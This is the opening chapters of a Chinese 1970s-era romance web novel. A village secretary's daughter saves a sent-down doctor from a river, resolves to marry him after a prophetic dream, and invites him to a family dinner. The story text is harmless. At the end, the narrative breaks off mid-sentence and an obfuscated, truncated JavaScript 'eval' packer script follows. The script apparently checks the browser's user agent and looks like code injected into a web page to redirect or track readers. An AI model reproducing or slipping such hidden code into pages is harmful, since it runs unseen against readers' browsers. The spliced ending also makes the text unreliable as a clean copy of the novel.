《七零落难少爷的娇蛮妻》 1. 你弄个球头 钱小满浑身湿漉漉从外面回来的时候,太阳快下去了。 她甩了甩头上的水珠,直愣愣地盯着她爹,眼神里带着一种罕见的执拗:“爹,我看上许医生了,我要嫁给他。” 钱多来坐在院子里编扫帚,手里的高粱穗子刚扎到一半,抬头瞧见女儿这副德行,脸立马垮了下来。 “你发哪门子颠?”他把扫帚往地上一撂,“大热天的往河沟里钻,脑子让水泡坏了?” “爹!”钱小满把滴着水的辫子散开,“我把许医生从河里捞上来,救命之恩以身相许,他不娶我还能娶谁?” 钱多来张了张嘴,一时竟不知道该先骂哪一句。 这时候,钱金宝扛着锄头从后面跟进来,裤腿挽到膝盖,显然也是刚从河边回来。 “爹,”钱金宝赶紧帮腔,“小满跳河里救了许知青,河边好多人都看见了。人家许知青从水里上来,小满张嘴就让人娶她。” “你给我闭嘴!”钱多来瞪了一眼不懂事的儿子,又看向不争气的女儿:“救了就得娶你?许医生是啥来头你不知道?他爹妈在国外当资本家,爷奶是来咱这儿改造的,你当捡着宝了?” 他站起来,指着院外的方向劈头盖脸骂女儿:“咱家是正儿八经的三代赤贫农,你爷爷给你爹挣下的这成分,你爹给你挣下的这成分,跟他那种家庭结亲?想都别想!趁早死了这条心!” 钱小满一屁股坐在石墩子上,冲着她爹的耳朵大声嚷嚷:“我不管,我救了他,他就得娶我!不然我就去公社宣传,让全公社都知道他忘恩负义!” “你个瓜货,”钱多来气得抓起还没编完的扫帚就要抽不成器的女儿,“他家里成分那么差,你凑他跟前干啥!真要让队里人笑咱没见过世面,逮着个城里来的男娃娃就当宝贝。” 扫帚抽下来,钱小满不躲不闪,硬生生挨了一下。 钱多来反倒愣住了,他没想到女儿会不躲开。 他闺女啥脾气他知道,从小到大没吃过亏,他这当爹的连根手指头都舍不得碰,今天这一下抽下去,他手都在抖。 钱小满跟没事人似的,一脸豁出去的模样:“笑就笑!我就知道他是城里来的,以后肯定能回城,嫁给他总比跟着庄稼汉刨一辈子土强。” 湿透的衣裳贴在身上,她单薄的身板站得笔直:“反正我要过好日子,要住楼房、要顿顿吃白面馒头!” 钱多来被女儿气笑了。 他抬手往她后脑勺拍了一巴掌,这一下倒没用力:“光天化日你净做梦!咋不说想上天?家里不少你吃喝,你指望他啥嘛。他要啥没啥,你图他甚!” 钱小满捂着后脑勺不松口:“我就要嫁给他,不然我就天天去卫生室堵他,生米煮成熟饭!” “小满!”钱金宝吓了一跳,赶紧拉她,“别胡说,这话传出去你名声还要不要了?” “我没胡说!”钱小满甩开哥哥的手,起身往门口一站,双手叉腰,摆出耍赖的架势,“他不娶我,我就赖到底!反正我湿着衣服回来别人都看见了,许柏年要是不对我负责,我就只能嫁给鳏夫了!” 这话一出,钱多来和钱金宝都愣住了。 虽说现在是新社会,但乡下对未婚女孩的名声还是看重的。钱小满湿着衣裳从河边回来,多少人看见了?要是不给个说法,背地里那些碎嘴婆子能编排出八百个版本。 钱多来背着手在院子里转圈,停下来瞪着她:“你是支书家的闺女,谁敢乱嚼舌根?” “支书又怎么了,反正都是下嫁,我就要嫁给许医生!” 钱多来见女儿这副油盐不进的样子,气得不行:“犟种,比大队的驴还犟。这事没得商量,赶紧给我滚回屋换衣裳,明儿就给我待在屋里,哪都不准去!” “爹,”钱金宝帮着妹妹说话:“许医生是正经医学生,长得有模有样。别看他成分不好,但人家下乡接受劳动改造,咱家根正苗红,小妹嫁过去改造他不是正合适嘛。” “改造个屁!”钱多来咬牙切齿,声音带着恨铁不成钢,“你个碎娃懂甚!你妹子光瞅着人家长得白净,那是过日子的人?知青连种地都种不明白,小满嫁给他能有好日子过?” 钱金宝被父亲这么一说,也觉得有道理。 他看看妹妹,又看看爹,不知道该站哪边。 小满打小被全家人宠着长大,没下过几次地,洗衣做饭都做得马马虎虎。要是真嫁给了许医生,那得自己过日子,她能受得了那种苦日子吗? 钱小满看着她爹和二哥的眼神,知道他们在想什么。 她没法跟他们讲自己做的那个梦。 梦里的事说起来太长了。 梦里的她把许柏年从河里捞上来,逼着他娶了自己。结了婚她变着法儿地刁难他,嫌他不会干活,嫌他挣工分少,嫌他成分不好连累自己被人嘲笑。她动不动就骂他,摔盆打碗是常事。 谁成想没过多久,许家就平反了。 许柏年一下子成了香饽饽。可她对许柏年颐指气使惯了,改不过来。人家回城头一件事就是跟她离婚。她撒泼打滚也没用,许柏年是高级人才,首都的医院亲自要人,她拦不住。 她咽不下这口气,不甘心被抛弃,托亲戚在大城市给她找了份保姆的工作。结果雇主竟然是许柏年的二婚妻子,跟他青梅竹马的女知识分子。那女人说话轻声细语,戴着一副眼镜,看见她的时候脸上带着那种让她浑身难受的同情。 她一个只有初中学历的乡下人,能给人家当保姆已经是托了关系。她只能巴巴地在电视新闻里看到许柏年成了人人敬仰的医学教授,两个人的距离一下拉远了十万八千里。 最重要的是,后来许柏年的父母从外国回来了,还带回来一大笔外汇。他们想带许柏年出国,被许柏年拒绝了。他父母为了他在国内投资了好多产业,说是叫引进外资,许柏年一下子成了有钱又有学历的富家少爷。 梦做到这里,钱小满就醒了。 她原本没把这梦当回事,她跟许柏年不熟。直到今天碰巧撞见许柏年意外坠河,她想都没想就跳下去把人捞上来,结果他被救醒后,睁开眼睛说的第一句话,竟跟梦里分毫不差。 这一下,她浑身汗毛都竖了起来,鬼使神差地就张嘴让他以身相许。 她没办法跟她爹讲自己做的那个梦,不然她爹肯定以为她是失心疯,搞不好还得被按着灌符纸水。大队里那个神婆烧的符纸灰冲的水苦不拉几的,她小时候喝过一次,一辈子都忘不了。 更何况今天在河边她把话撂出去了,他必须娶她。 梦就算是真的又怎么样? 强扭的瓜甜不甜总得亲口尝过才知道,树上有没有枣先打上两杆子。再说梦里的许柏年未来可是医学教授,她不知道教授是干啥的,但能上电视新闻肯定是大人物。 反正她只要不欺负他,好好跟他过日子。等将来他回城把她也捎上,到时候她不就成了吃商品粮的城里人? 钱小满的算盘打得噼啪响。 她不顾她爹和二哥的劝告,转身回了自己屋。换下湿衣裳,躺在炕上翘着二郎腿,脑子里转的都是对策。 姚红霞心情愉悦地哼着歌走到家门口,挎着的篮子里装着从大闺女家带回来的半斤红糖,还有一块新扯的布料。 推开院门,看见自家老头子神情郁闷地坐在门槛上抽烟。 她正要开口问他们吃晚饭了没,钱多来抬头,瞪着她:“你干甚去了?咋这时候才回来。” 姚红霞一点儿也不恼。 她放下篮子,抹了一把乌黑油亮的头发:“去咱大闺女家了,她小叔子今天放假,给我们烫了个城里时兴的头发。” 钱多来盯着她脑袋看了半天,没看出来跟出门前有啥区别。 随即又想到气得自己没胃口吃饭的小女儿,心里那股火腾地又上来了,不由得迁怒妻子。 “你弄个球头,你还知道回来!” 姚红霞觉得莫名其妙,当即不惯着丈夫:“你不想过,我立马收拾东西去跟大闺女过,我弄个头发怎么你了?” 钱多来的气势瞬间弱了下去。 “还不是怪你教的好闺女,”他嘟囔着,“你自己去问问你小闺女今天说了啥话。她死活要嫁给许医生,还说要跟人家生米煮成熟饭。” 姚红霞眼睛一亮:“医生?医生不错啊,小满有眼光。” 钱多来心里一梗,一口气堵在胸口,不上不下:“许医生!下乡的那个,你以为是哪个医生!” 姚红霞回想起来是哪个许医生,有点难为情:“家里成分是差了点儿,可小伙子长得俊俏,大队不少姑娘都盯着呢,人家估计看不上咱们家小满。” 钱多来瞬间眼睛瞪得圆溜溜:“他看不上小满?他凭啥看不上咱家闺女!” 姚红霞看了眼女儿房间的窗户。窗户关着,里头没动静。 “小满性格随你,有点小脾气。要是像咱大闺女那样,我就不愁她的亲事了。”亲妈更了解女儿,自家这个懒笨馋的小女儿跟许医生不是一路人,也就嘴上嚷嚷,咋可能成。 钱多来见妻子一点也不担心,情绪逐渐平复下来:“你确定小满跟许医生不能成?” “哎呦,你有这空闲担心你小闺女,不如多操心操心金宝,他都22了,给他介绍几个都看不上,眼光那么高随了谁?”姚红霞绞尽脑汁想不明白。 钱多来揉了揉鼻子。 肯定不是随他,他当年对妻子一见钟情。 ----------------- 许柏年顶着一身湿衣服往回走的时候,发梢的水珠还在滴滴答答往下掉。 他狼狈地回到了住处。 大队卫生室旁边的破旧窑洞,白天是诊室,晚上把诊床旁边的铺板支开就是他的床。这不是优待,是为了方便被随时使唤。半夜有人头疼脑热,敲敲窗户他就得爬起来。 他刚换完衣服,门被轻轻敲响了。 “阿年。” 是奶奶的声音。 他打开门,许老太太进来,满是心疼地拉着孙子的手:“我听说你掉河里去了?怎么回事?” 她和丈夫住在大队用来当牛棚的破窑洞里,白天不会主动过来找孙子,怕被人看见影响到他,只有摸黑的时候才敢来。 许柏年神色淡然,搀扶奶奶坐下:“河岸的沙土看着结实,踩上去就塌了。” 许老太太拍着胸口后怕不已:“我就说你得学游泳,小时候让你学你偏不学。幸好有人路过,你得好好感谢人家,知道吗?” “嗯。”许柏年垂眸,取出瓷碗给奶奶冲了一碗糖水,“知道了,您放心。” 他没告诉奶奶救他的是个姑娘,也没说那姑娘开口就要他以身相许。要是让老太太知道,今晚怕是睡不着觉。他不打算告诉两位老人,免得他们担心。 许老太太喝了糖水,又叮嘱了几句,趁着暮色走了。 许柏年把她送到门口,目送她的背影消失在渐暗的天色里,才转身回屋。 他坐在床边,想起今天在河边的场景。 河岸的沙土塌陷的那一刻,他整个人往下跌,脑子一片空白。他不会游泳 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屋里点着一盏煤油灯,灯芯捻得很小,只有豆大一点光。 钱小满躲在被窝里,只露出半个脑袋。她白天面对她爹和二哥还能大放厥词,在母亲面前反而感到不好意思。 她以前和大姐住一屋。大姐嫁出去后,这屋就她一个人住。 姚红霞坐在床边:“我知道你没睡,别把自己憋出毛病了。” 钱小满拉下被子,露出憋得通红的脸。 “妈,我爹都跟你说了?” 姚红霞慈爱地摸了摸小女儿的脑袋:“你爹最稀罕你,你突然说要嫁人,他肯定受不了。哪家姑娘像你这么大胆,光天化日就说出来了。” 钱小满抓住了重点:“您觉得许医生怎么样?” 姚红霞没急着回答。 钱小满坐起来,把被子往上拽了拽,盖住胸口。 “我之前都没注意过那群知青,我把他从水里救上来,他脸上滴着水,看上去可怜巴巴的,我就想起了小时候下暴雨,大黄浑身都湿透了,只能在院子里找避雨的地方。” “噗嗤。”姚红霞没忍住笑出声,“你怎么拿人跟狗比较。” 钱小满一脸理所当然:“因为看上去都很可怜啊,我想把大黄带屋里避雨,您跟爹都不同意。许医生也很可怜,他掉河里,那么多人看着,没一个人愿意下去救他。” 姚红霞收起笑,目光定定地看着女儿:“你救了他,怎么反倒想嫁给他?” 钱小满早就编好了借口:“他长得好看啊,光看他的脸我都能多吃一碗饭,吵架只要看到他的脸,我估计气都消了。” 姚红霞认同地点头:“他外在条件是不错,只是嫁给他,你可就过不上家里这么舒心的日子了。” 钱小满可不担心,嫁过去顶多苦半年,许家就会平反。 “您嫁给我爹的时候,家里不也是破窑洞吗,外公外婆都没嫌我爹穷,我爹竟然还嫌弃许医生。” 姚红霞本来是想试试女儿的口风,以为她只是嘴上喊喊,没想到是来真的。她倒没太担心,她并不看好俩人能成,许医生那么骄傲的城里人,怎么可能惯着她脾气骄纵的闺女? 再说万一成了,说明许医生包容、性格好。有这样的女婿多赏心悦目,家庭成分什么的可以往后排。人家来接受劳动改造,娶乡下姑娘不正是说明已经改造成功了嘛。 “你爹是为你好,你想想你平时吃什么、许医生吃什么?你能接受跟他吃一样的饭菜吗?你要想清楚,免得给人造成困扰。” 钱小满抱着母亲的胳膊撒娇:“到底是谁规定结婚了就必须搬出去,我就不能带着对方一起住在家里吗。” “你说的那是入赘。”姚红霞满是无奈。 钱小满没吭声,但眼睛亮亮的。就算出去住了,谁说嫁人了不能回娘家吃饭? 得到母亲的支持,她信心大增。梦里自己死缠烂打一个月就嫁给了许医生。她肯定不能像梦里那么讨人嫌,可是追求别人她还没试过呢。 第二天一早,钱小满挎着篮子出门。 她和闺蜜李杏花约好了去摘酸枣,顺便挖点黄芩根。黄芩根能卖钱,供销社收,一分钱一两。 李杏花已经在等着了。看见钱小满过来,她赶紧迎上去。 “小满,听说你昨天跳河里救了人,你真厉害!” 钱小满昂首挺胸:“那可不,你也不看看是谁,我从小就在河里游泳,救个人小意思。” 李杏花一脸后怕,凑近小声道:“听说落水的人都是被水鬼扯下去换命的,你不怕上不来了吗。” “你别说这么吓人。”钱小满揉了揉胳膊上的鸡皮疙瘩,“再说现场有那么多人呢,水鬼胆子也忒大了吧。” 李杏花握着她的手:“总之你下次可别那么鲁莽了,救人让他们男人去就行,咱们女孩子不能经常下河洗澡。” 钱小满翻了个白眼,没好气道:“你还说呢,当时有好几个男人都在场,他们都不敢下去救人,我要是再晚一点,许医生估计就没命了。” “啊,他们怎么这样啊,那可是一条人命。”李杏花眼里浮现出迷茫,“许医生怎么会去河边,他也太不小心了。” 钱小满不想继续这个话题,扯到自己想要追求许医生的事上。 “不说这个了,我昨天救了他,发现他有点好看,你说我跟他合适吗?” 2. 娶你当婆姨 李杏花毫不迟疑回答道:“当然合适啊,你可是大队最好看的姑娘,许医生勉强配得上你。” 钱小满就喜欢听好闺蜜讲话,每次都说到她心坎上。 随即李杏花又皱着眉头纠结起来:“我听说知青点好几个女同志都对许医生有意思,咱们没有优势啊。” 钱小满当即警惕起来:“都有谁?她们长得怎么样?” 李杏花仔细回想:“其他女知青我不太熟,不过有个叫文知雅的女知青很有名气,跟许医生走得近,大家还起哄过呢。” 钱小满脑海中浮现出文知雅的形象,对方长得又高又瘦,皮肤特别白,说话温声细语,一眼就能看出来是读书人,大队好些男青年暗恋她。最关键的是她看起来瘦弱,每天都能把工分拿满,怎么都晒不黑。 她在背后听到过婶子们议论过文知雅,没什么好话,骂她是狐狸精,一群男人围着她转,不可能让文知雅进他们家的门。 钱小满倒是觉得大队男青年想吃天鹅肉,城里来的文化人怎么可能喜欢种地的糙汉子,人家可以知青内部消化。 她踢走脚边的土疙瘩:“我就知道他喜欢这样的。”梦里许柏年的二婚妻子跟文知雅是一个风格,光看外表就知道是读书人。 李杏花不由得感到好奇:“你咋知道?你跟许医生又不熟。” “不用想就知道,城里人不就喜欢知书达理的姑娘么,情比金坚、相敬如宾。”钱小满咬牙切齿,又想起梦里离婚的场景,许柏年脸上毫不掩饰的嫌弃。 “哇,小满,你怎么变得这么有文化?”李杏花双眼冒星星,此时的钱小满在她眼里显得特别有文化。 她只上过小学,钱小满虽然读完了初中,但平时说话可不会像现在这样蹦出来几个成语。 钱小满心里美滋滋的:“你觉得我有文化?” 李杏花重重点头:“嗯嗯,比之前有文化多了,我还是第一次听到你一句话用两个成语呢。” 钱小满被夸得不好意思,嘴角却忍不住上翘:“哪有,就一般般吧。我没事的时候喜欢看两眼书,不知道怎么就记下了。” “真好,我们家没出过读书人,我都没书看。”李杏花神情落寞。 她上小学的时候每学期都考双百,老师劝她继续念初中。但两个哥哥都没上初中,她一个女娃更没机会。 钱小满搂着她肩膀:“我家有,我初中课本都在呢,你随时过来看呗。不认字也没关系,我有《新华字典》。” “我、我真的可以吗?”李杏花满眼不可置信,书本那么珍贵的东西小满都愿意让她看,不愧是她的好姐妹。 “你都可以看,但是提前说好了啊,我都毕业几年了,课本上的内容忘得差不多,你不会的我可能也不懂。” 钱小满心虚地移开视线,她念书的时候没好好上课,就混了个初中文凭,根本没去考高中,李杏花看起来比她爱学习多了。 李杏花紧紧抱着钱小满的手臂:“没关系,只要有书看,我都不挑,遇到不会的题咱们可以一起思考!” 不,她不想思考。 钱小满兴致缺缺,心想自己都毕业了,谁还想做题呀。 午饭是玉米面馍,菜是酸辣萝卜丝配自家的腌菜。 钱小满看了眼桌上的伙食,撅了撅嘴。 钱金宝正好进屋,笑着打趣道:“又嫌上了?咱家伙食在村里算不错的了,你咋天天净想着吃肉。” 因着大姐夫在肉联厂上班,隔三差五就会给钱家送来一些猪肉边角料,钱小满这张嘴跟着她没吃过苦。 钱小满皱着脸:“我又不是兔子,家里每顿都是萝卜丝、白菜叶子反复吃,再配上一碟子腌咸菜,你看我都瘦了。” 钱金宝捏了捏妹妹稚气未消带着婴儿肥的脸蛋:“咱家里就属你最圆润,你哪儿瘦了?” 钱小满一巴掌拍开哥哥的手,跑去厨房找妈:“娘,午饭一点油水都没有,我都干不动活了。” 姚红霞在围裙上擦了擦手,从柜子里端出一碗冒着热气金澄澄的炒鸡蛋:“悄悄给你做的,别让你爹跟你哥知道了。” 钱小满开心地快要跳起来,她连忙捂住嘴,生怕自己的声音传到院子里。 钱金宝蹲在门槛上吃完午饭,端着空碗站起身,看见妹妹从厨房出来,他用筷子敲了敲碗:“吃独食了?” 钱小满眼神乱瞟:“哪有,你不要污蔑人!” “啧啧啧,嘴边的油都没擦干净,别告诉我你这是吃萝卜丝吃的。”他一脸休想糊弄傻子的表情。 钱小满下意识擦嘴,随即反应过来自己上当了:“钱金宝!你做人太有心眼了,哪有你这样的,亏我还给你留了点呢。” “哟,我还有这待遇呢,不护食都有点不像你了。” 钱小满路过二哥身边,飞快地踹了他一脚:“你说的对,我应该一口都不给你留。” 说完跑进自己房间。 下午天气热,李杏花过来找钱小满看书,俩人窝在她房间的炕上各占一角。 钱小满翘着二郎腿百无聊赖:“好无聊啊,我想出去玩。” 李杏花头也不抬,手上的语文书又翻了一页:“外面热,山上连棵树都没有,咱们会晒黑的。” 钱小满一骨碌坐起身,对着镜子左看右看:“杏儿,你觉得我看起来白吗?”镜子里的女孩有着健康的小麦色皮肤,一双乌溜溜的杏眼狡黠灵动。她对着镜子做出古灵精怪的动作,露出一排洁白整齐的牙齿,一点不做作,反倒格外娇憨可爱。 李杏花抬起头,纠结要不要说实话,最后想了想觉得应该实话实说:“小满,你牙齿比较白,咱们的肤色很健康,我们又不像城里人那么爱打扮,夏天晒黑一点很正常啊。再说了,你冬天就白回来了,像个糯米团子一样可爱。” 这话果然没有让钱小满生气,反而很开心,她盘着腿坐在床上自言自语:“我应该向你学习,天热的时候不出门。” “这就对嘛,那些知青们天热干活都戴帽子,他们除了胳膊脖子被晒黑,脸一点也不黑,小满你就是吃了不戴帽子的亏。” 钱小满摸着脸若有所思。 趁着李杏花在看书,钱小满摸去母亲房间,翻箱倒柜找出来一只蛤蜊油,又拿走了母亲抹头发的茉莉香味头油。 她洗干净脸,回屋对着镜子仔仔细细抹上蛤蜊油,又拆开辫子准备把头油倒上去。 李杏花正看得入神,身边传来悉悉索索的声音,抬眼就看见钱小满正准备把头油往头发上倒,她吓了一跳。 “小满,停下!” 她飞快丢下语文书,一把抢过钱小满手上的头油:“头油不是这么用的!” 钱小满闹了个大红脸:“不直接倒在头发上吗,我还想着倒多少才会让头发变香呢。” 李杏花往手心倒了几滴头油,两手轻轻搓开,下床穿鞋走到钱小满身后,温柔地抹进她的头发里。 “头油是这么用的,你发质好,不用倒那么多,沾点茉莉花的香味就够了。” 钱小满呆呆望着镜子里站在自己身后的杏花,乖乖由着她重新给自己编好辫子。 “杏儿,我要是男人就好了,我肯定喜欢你这样的,娶你回家给我当婆姨。” 李杏花抿着嘴轻笑:“不是男人也可以。” 钱小满当场呆滞,说话都变得结结巴巴:“杏儿,我、我有喜欢的人。” “你在想什么呀!”李杏花从身后捧住她的脸颊,像揉面团似的搓了两把,“我是说,就算你不是男人,也可以喜欢我呀,朋友之间也能喜欢的。” 钱小满松了口气,吓死她了。 等到太阳没那么毒辣,钱小满缠着李杏花陪自己去找许柏年。 李杏花依依不舍放下书:“咱们就这么去找他不好吧?” “这你就不懂了,我可是他的救命恩人,见到我不得主动对我示好?”要不是怕她爹生气,她早上就想去找许医生了。 李杏花被钱小满说动:“对,说不定他还要给你送谢礼呢。” 俩小姐妹手挽着手出门,刚走到院子里,就见钱多来背着手从外面回来了。 他随口问了一句:“杏儿来了?你俩干啥去?” 钱小满支支吾吾,钱多来把视线转到李杏花身上。 “杏儿你说,我不凶你。” 李杏花瞄了一眼钱小满,磕磕巴巴回答:“我和小满想去知青点逛逛,小满想认识一下文知青。” 钱多来表情这才松缓了些,语气生硬地问:“你好端端跑去打扰人家干啥?” 李杏花抢答道:“小满把她的初中课本借给我看了,我有些内容没看懂,她说带我去问文知青,听说文知青读过高中。” 钱小满立马跟上:“就是这样!爹你怎么跟防贼似的,我又不会找人家麻烦,” 钱多来心想,还不是女儿昨天闹着要嫁给许医生,他现在生怕小满趁他不注意,跟许医生生米煮成熟饭,他丢不起这老脸。 他摆了摆手:“杏儿,你先回吧,小满今天不出门。” 钱小满撅着嘴,瞪着她爹:“爹,你咋能限制我自由,我连出门的权利都没有了吗!” 李杏花犹豫着跟钱小满告了别,走在回家的路上,还在回味着课本上的内容,迎面正巧撞见钱金宝和许医生并肩走着,两人都没留意到她,径直往钱家的方向去了。 她心里七上八下,替小满捏了一把汗。难道是小满家里看不上许医生,专门把他叫 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“许、许医生,你你怎么来了,我是撞花眼了吗?”钱小满语无伦次地盯着许柏年,配上红彤彤的脸颊,滑稽极了。 钱金宝对这见色忘义的妹妹无语至极:“哎哎哎,你刚刚冤枉我的事儿怎么算?好端端的飞来一口大锅,钱小满,做人可不能太双标啊!” 钱小满飞快地瞪了钱金宝一眼:“略略略,我就双标!谁让你平时总欺负我。” 说完立刻转向许柏年,换上一副殷勤乖巧的模样:“许医生,快进来坐,你来的真是时候,我刚把院子打扫干净呢!” 许柏年刚剪过头发,一头利落的短寸格外清爽。他穿着一件短袖白衬衫,配一条军绿色长裤,斜挎着一只军绿色挎包,看上去比昨天从水里捞出来时狼狈不堪的模样判若两人。 钱小满迎着人进院子,背对着身后俩人,对着钱多来笑得一脸讨好,跟朵向日葵似的。 原来她爹不让她出门是这个原因,真是误会老头子了。 “许医生来了?” 钱多来站起来,脸上看不出什么表情,“坐。” 许柏年没急着坐。 他走到钱多来跟前,先恭敬地打了声招呼,然后转过身,正对着站在自己身后的钱小满。 他从挎包里掏出东西,递到她面前,是两包红糖和两张布票。 “小满同志,”他语气郑重,“昨天多亏你救我。这点东西是我的一点心意,请你收下。” 钱小满愣了一下,没接。 她仰着脸看他,眼睛亮亮的:“许医生,你是来道谢的,还是来答应的?” 许柏年低头望着她。 这姑娘眼睛很灵动,脸蛋圆圆的,皮肤是健康的浅蜜色,看着憨实又讨喜,笑容干净纯粹,带着一股认真又执着的劲儿,仿佛像是认定了他。 他张了张嘴,一时不知该怎么回答。自己不过是个被取消了行医资格、下放到农村的医生。性格沉闷无趣,满身是非,怎么就被这样鲜活天真的姑娘惦记上了? “你这是干啥?”钱多来打破尴尬,“救人就救人,还带啥东西?” “应该的。”许柏年语气不卑不亢,“救命之恩,总要登门道谢。” 钱多来上下打量了他一眼,心里暗道这小子倒懂礼数,比那些寡货知青有眼力见多了。 他挥了挥手:“东西你带回去,我们家不缺这两包糖。心意到了就够了,小满没救错人。” 钱小满忙不迭点头附和:“就是就是,情况那么危急,我救你可不是为了图回报的。” 许柏年一时间有些茫然无措。在他以往的认知里,登门送礼便是把人情还上,对方收下,这事才算两清。钱家不肯收东西,他这份救命的人情便依旧欠着,反倒让他不知该如何是好。他向来只懂埋头学医做事,对这些人情往来不擅长,如今更是进退两难。 钱金宝站出来打圆场:“别为难许医生了,既然人家带着东西上门道谢,咱们就把东西收下,也好让他安心,以后踏踏实实为咱们大队的父老乡亲们看病。” 许柏年心里顿时松了口气,对眼前的青年多了几分感激。他本是自愿申请下乡支援,被分到县医院,并非被动下放。只是后来遭遇变故,才又被安排到村里当村医。也正因那件事,他才不愿与人深交,只想安安静静做好本分工作。 姚红霞下工回家,见家里来了客人,热情留许柏年吃晚饭,一边也想趁机观察观察对方的言行举止。 许柏年因着钱金宝刚刚替自己解围,难得卸下防备,便答应留下来,在钱家吃了晚饭再回去。 3. 青椒炒蛋夹馍 晚饭是玉米糁子稀饭配白面馍。 钱小满蹦蹦跳跳地跑去厨房,一趟趟把菜端到院里的桌上:凉拌黄瓜、青椒炒蛋、辣子炒土豆片,还有一碟腌萝卜条。 她偷偷瞄了母亲一眼,忍不住抿嘴笑。 她心里清楚,青椒炒蛋和辣子炒土豆片都是母亲为了招待客人加上的。平时家里晚饭哪有这么丰盛,只有来了贵客,才会蒸白面馍,多炒两道热菜。 钱家父子陪着许柏年说话,聊着聊着,钱多来渐渐发现,这城里来的年轻人,谈吐见识确实跟庄户人家不一样。他心里不由得对许柏年多了几分刮目相看。但一想到小满想嫁给他,自己是万万不同意的。 许柏年没想到钱家用如此丰盛的晚饭招待自己。他接过钱小满递给自己的稀饭碗,筷子没有碰白面馍,也绕开了青椒炒蛋和辣子炒土豆片,只落在凉拌黄瓜和腌萝卜条上。 钱小满埋着头吃饭,没注意到许柏年的拘谨。 钱金宝在桌子底下轻轻踢了妹妹一脚。钱小满茫然抬头,有客人在,她不好当场向爹娘告状,只能用圆溜溜的眼睛瞪他。 钱金宝用眼神示意她看许柏年。 哎呀,她光顾着吃饭,怎么把许柏年给忘了! 钱小满放下碗筷,单手撑着脸颊,一眨不眨地盯着许柏年。 没一会儿,她就发现了许柏年只吃黄瓜和萝卜,炒菜一样不碰,也不吃白面馍。 这怎么能行?! 钱小满急了,她站起身,风风火火跑去厨房拿了只空碗。 她往碗里夹了两个白面馍,又端起青椒炒蛋,往里面扒拉了一大半,辣子炒土豆片也照样堆了半碗。 钱金宝本想趁着钱小满关注许柏年的功夫多吃几口炒蛋,反正她中午已经吃了大半碗,晚上吃太多消化不了,谁成想妹妹的胳膊肘拐到姥姥家去了。 “吃!”钱小满把碗重重放在许柏年面前。 许柏年猝不及防被她吓了一跳,只能无奈道:“我晚上吃得少,这碗粥就够了。” “吃得少那是因为你粮食不够,你要是粮食够吃,肯定跟我哥一样壮实!” 钱小满这副理直气壮的模样,让钱多来一口气憋在胸口。自己怎么养了这么个碎娃,这话传出去,倒像他亏待了知青似的。 许柏年一时间不知该如何反驳,只是坚持自己的态度,不愿占钱家的便宜。 姚红霞帮着打圆场:“小满,哪有你这样招呼客人的?也不问人吃没吃饱,哐哐给人堆一大碗,把人撑出毛病怎么办。” 钱小满自己最爱吃好吃的,在她心里,招待客人最高的礼仪就是把所有好东西都端给对方,一定要让客人吃得饱饱的。 她热切地望着许柏年,语气软软的:“你尝尝嘛,我娘做的炒鸡蛋可香了!你把馍从中间掰开,把炒鸡蛋和土豆片夹进去,就是我们这儿最出名的菜夹馍。” 许柏年喉结动了动,鼻尖萦绕着鸡蛋和白面馍的香气,还是轻轻摇摇头。这年月粮食金贵,白面和鸡蛋更是稀罕,他不喜欢占别人便宜。 钱多来嘴里嚼着萝卜条,一声不吭,脸上看不出表情,实则对许柏年又高看了一眼。城里娃娃以前在家啥好东西没吃过?如今响应号召来乡下参加劳动,生活清苦却经得住诱惑,这般有骨气的后生实在难得。他越看越觉得中意,只可惜成分太差,再好的后生也难有出头之日。 他把嘴里的萝卜条咽下去:“吃吧,又不是啥金贵东西。你给大队不少乡亲看过病,是集体的一份子,别拘束。” 支书都发话了,再推辞反倒显得刻意,不领主人家的情。 钱小满笑得眼睛弯了起来:“我来给你做示范!” 她把掰开的白面馍放在碗里,拿起筷子不间断地往里夹菜,一层土豆片上面铺一层青椒炒蛋,再加两根腌萝卜条解腻,最后铺上凉拌黄瓜。 钱金宝看得目瞪口呆,她干脆把这桌子也夹进去算了。 钱小满十分满意自己的杰作,在她这里179度是菜夹馍,180度是素拼,她正正好给许柏年夹了一个179度的菜夹馍。 别说钱金宝,钱多来和姚红霞都震惊了,谁家菜夹馍放的菜连馍都看不见了,这是馍还是盘子? 钱小满双手捧着堆满菜的菜夹馍,送到许柏年面前,亮晶晶的眼里满是期待:“快尝尝。” 许柏年拿着筷子无从下手,破天荒地感到无措,只能硬着头皮用筷子夹起馍上的菜。 钱小满急了:“不是这么吃的!” 姚红霞一把拉住女儿:“你给人把菜堆那么高,谁的嘴能张那么大?” 许柏年停下筷子:“没事婶,我慢慢吃就成。”纵然明白肯定会吃撑,可小满同志一片热心,他不能辜负这份心意。 钱金宝在心里嘀咕,平常自己想吃一口跟要她命似的,这会儿恨不得把整张桌子都夹进馍里端给人家。 钱多来和姚红霞吃完饭便各自忙去了。钱金宝赖在桌边磨蹭了一会儿,见抢不到剩下的青椒炒蛋,起身敲着碗离开,每一声都像在控诉没良心的妹妹。 钱小满冲着他背影大喊:“哥,别敲了,当心娘一会儿拿扫帚抽你,不知道的以为叫花子上门了呢。” 许柏年吃完饭执意要自己收碗,钱小满拗不过他,乌黑的眼珠子滴溜溜一转,不知想到了什么。 趁许柏年去厨房的间隙,她迅速把剩下的三块白面馍全塞进了他放在椅子上的挎包里。 等许柏年洗完碗出来道别,钱小满依依不舍地把他送到门口。 其实她心里有点紧张,却又装不出来扭捏那一套,索性直接了当开口:“许医生,你考虑一下我呀。你看你这么大年纪了还没结婚,我刚好到结婚的年龄,咱们多合适呀!” 许柏年无奈苦笑,实在不忍心伤害眼前热情开朗的姑娘,只得把语气放得格外温和:“抱歉,小满同志,我目前没有这方面的打算,你不要在我身上浪费时间。” 他是自愿申请来枣湾村大队的。当初出事之后,县医院的领导都舍不得他走,他坚持要来乡下支援,一来是离爷爷奶奶近,方便照顾;二来,他只想远离纷争。 他没想过娶妻生子,他这般处境跟谁结婚都是拖累对方,不如一个人清清静静过日子。 钱小满目送他离开,心里闷闷的,耷拉着脑袋往厨房去准备洗锅洗碗。 可下一秒,她整个人又被突如其来的惊喜哄好了。 吃饭用过的锅碗瓢盆全都洗干净了,不用想也知道是许柏年刚刚在厨房多待了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 